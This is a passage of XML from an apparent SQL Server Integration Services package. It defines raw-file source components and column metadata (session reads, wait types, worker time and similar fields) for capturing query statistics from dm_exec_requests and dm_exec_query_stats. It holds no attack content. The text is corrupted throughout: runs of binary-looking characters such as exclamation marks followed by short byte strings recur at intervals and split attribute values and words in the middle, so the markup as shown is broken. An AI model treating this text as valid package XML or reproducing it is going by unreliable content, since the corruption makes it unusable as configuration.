Source Output].ExternalColumns[session_cpu_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_cpu_time]" name="session_cpu_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache	!!!!!!!!!!!!!!!!!!!!!!!!`<wsHv with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_reads]" name="session_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_writes]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_writes]" name="session_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_logical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_logical_reads]" name="session_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_total_scheduled_time]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_total_scheduled_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_total_scheduled_time]" name="session_total_scheduled_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_total_elapsed_time]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_total_elapsed_time]" name="session_total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_last_request_start_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch	!!!!!!!!!!!!!!!!!!!!!!!!`<^aHv\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_last_request_start_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_last_request_start_time]" name="session_last_request_start_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_last_request_end_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_last_request_end_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_last_request_end_time]" name="session_last_request_end_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_resultsets]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[open_resultsets]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_resultsets]" name="open_resultsets"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_row_count]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_row_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_row_count]" name="session_row_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[prev_error]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[prev_error]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[prev_error]" name="prev_error"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[pending_io_count]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - R	!!!!!!!!!!!!!!!!!!!!!!!!`<;jHvead current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[pending_io_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[pending_io_count]" name="pending_io_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[command]" dataType="wstr" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[command]" length="32" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[command]" name="command"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[row_id]" dataType="i4" name="row_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_id]" dataType="i2" name="session_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_id]" dataType="i4" name="request_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[exec_context_id]" dataType="i4" name="exec_context_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan 	!!!!!!!!!!!!!!!!!!!!!!!!`<KHvand text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[blocking_session_id]" dataType="i2" name="blocking_session_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[is_blocking]" dataType="bool" name="is_blocking"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[blocking_exec_context_id]" dataType="i4" name="blocking_exec_context_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[scheduler_id]" dataType="i4" name="scheduler_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[database_name]" dataType="wstr" length="128" name="database_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[user_id]" dataType="i4" name="user_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[task_state]" dataType="wstr" length="10" name="task_state"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_status]" dataType="wstr" length="15" name="request_status"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_status]" dataType="wstr" length="15" name="session_status"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[executing_managed_code]" dataType="bool" name="executing_managed_code"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[login_time]" dataType="dbTimeStamp" name="login_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[is_user_process]" dataType="bool" name="is_user_process"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[host_name]" dataType="wstr" length="20" name="host_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Int	!!!!!!!!!!!!!!!!!!!!!!!!`<\CHveresting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[program_name]" dataType="wstr" length="50" name="program_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[login_name]" dataType="wstr" length="30" name="login_name"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_type]" dataType="wstr" length="45" name="wait_type"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[last_wait_type]" dataType="wstr" length="45" name="last_wait_type"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_duration_ms]" dataType="i8" name="wait_duration_ms"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[wait_resource]" dataType="wstr" length="50" name="wait_resource"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[resource_description]" dataType="wstr" length="140" name="resource_description"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[transaction_id]" dataType="i8" name="transaction_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[open_transaction_count]" dataType="i4" name="open_transaction_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[transaction_isolation_level]" dataType="i2" name="transaction_isolation_level"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_cpu_time]" dataType="i4" name="request_cpu_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_logical_reads]" dataType="i8" name="request_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_reads]" dataType="i8" name="request_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query pl	!!!!!!!!!!!!!!!!!!!!!!!!`<!	Hvan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_writes]" dataType="i8" name="request_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_total_elapsed_time]" dataType="i4" name="request_total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[request_start_time]" dataType="dbTimeStamp" name="request_start_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[memory_usage]" dataType="i4" name="memory_usage"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_cpu_time]" dataType="i4" name="session_cpu_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_reads]" dataType="i8" name="session_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_writes]" dataType="i8" name="session_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_logical_reads]" dataType="i8" name="session_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_total_scheduled_time]" dataType="i4" name="session_total_scheduled_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_total_elapsed_time]" dataType="i4" name="session_total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_last_request_start_time]" dataType="dbTimeStamp" name="session_last_request_start_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_last_request_end_time]" dataType="dbTimeStamp" name="session_last_request_end_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[open_resultsets]" dataType="i4" name="open_resultsets"/><externalMet	!!!!!!!!!!!!!!!!!!!!!!!!`<%ugrHvadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[session_row_count]" dataType="i8" name="session_row_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[prev_error]" dataType="i4" name="prev_error"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[pending_io_count]" dataType="i4" name="pending_io_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].ExternalColumns[command]" dataType="wstr" length="32" name="command"/></externalMetadataColumns></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats" componentClassID="{480C7D5A-CE63-405C-B338-3C7F26560EE3}" contactInfo="Extracts data from a raw file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Extracts data from a raw file." name="RFS - Read last snapshot of dm_exec_query_stats" version="1"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::InterestingQueriesLastSnapshotFileName</property></properties><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output]" isSorted="true" name="Raw File Source Output"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_start_offset]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_start_offset]" name="statement_start_offset" sortKeyPosition="3"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_end_offset]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Ra	!!!!!!!!!!!!!!!!!!!!!!!!`<)
Hvw File Source Output].ExternalColumns[statement_end_offset]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_end_offset]" name="statement_end_offset" sortKeyPosition="4"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_generation_num]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[plan_generation_num]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_generation_num]" name="plan_generation_num" sortKeyPosition="5"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[creation_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[creation_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[creation_time]" name="creation_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[last_execution_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[last_execution_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[last_execution_time]" name="last_execution_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[execution_count]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[execution_count]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[execution_count]" name="execution_count"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_worker_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Output	!!!!!!!!!!!!!!!!!!!!!!!!`<-Hvs[Raw File Source Output].ExternalColumns[total_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_worker_time]" name="total_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_physical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_physical_reads]" name="total_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_writes]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_writes]" name="total_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_reads]" name="total_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_clr_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of 